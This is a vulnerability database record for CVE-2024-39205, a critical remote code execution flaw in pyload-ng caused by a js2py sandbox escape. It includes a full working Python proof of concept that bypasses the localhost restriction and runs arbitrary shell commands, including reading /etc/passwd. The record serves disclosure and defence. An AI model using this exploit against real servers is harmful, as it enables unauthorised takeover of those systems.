{"id":"CVE-2024-39205","aliases":["CVE-2024-39205","GHSA-r9pp-r4xf-597r","PYSEC-2026-499"],"related":[],"kind":"vulnerability","state":"published","title":"pyload-ng vulnerable to RCE with js2py sandbox escape","summary":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","source":"cvelist"},{"lang":"en","text":"### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Un problema en pyload-ng v0.5.0b3.dev85 que se ejecuta en python3.11 o anterior permite a los atacantes ejecutar código arbitrario a través de una solicitud HTTP manipulada específicamente.","source":"nvd"}],"published":"2024-09-09T18:17:20.000Z","modified":"2026-11-16T16:15:06.414Z","severity":{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"n/a","status":"affected"}],"source":"cvelist"},{"ranges":[{"version":"0.5.0b3.dev85","status":"affected"}],"vendor":"pyload-ng_project","product":"pyload-ng","cpe":"cpe:2.3:a:pyload-ng_project:pyload-ng:-:*:*:*:*:python:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.5.0b3.dev85"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.5.0b3.dev85"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"pysec"}],"references":[{"url":"https://github.com/pyload/pyload","tags":["package"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r","tags":["web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/Marven11/CVE-2024-39205-Pyload-RCE/tree/main","tags":[],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-39205","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-h95x-26f3-88hr","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-499.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/pyload-ng","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-r9pp-r4xf-597r","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-10-30T20:48:52.381Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-39205","url":"https://www.cve.org/CVERecord?id=CVE-2024-39205","licence":"CVE Terms of Use","modified":"2024-10-30T20:56:49.427Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-r9pp-r4xf-597r","url":"https://github.com/advisories/GHSA-r9pp-r4xf-597r","licence":"CC-BY-4.0","modified":"2026-11-16T16:15:06.414Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-39205","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-39205","licence":"Public domain","modified":"2026-06-17T07:41:31.300Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-499","url":"https://osv.dev/vulnerability/PYSEC-2026-499","licence":"CC-BY-4.0","modified":"2026-07-01T20:23:02.954Z"}],"updatedAt":"2026-11-25T22:58:47.405Z","epss":{"score":0.11201,"percentile":0.9667,"date":"2026-11-30T12:00:22.000Z"}}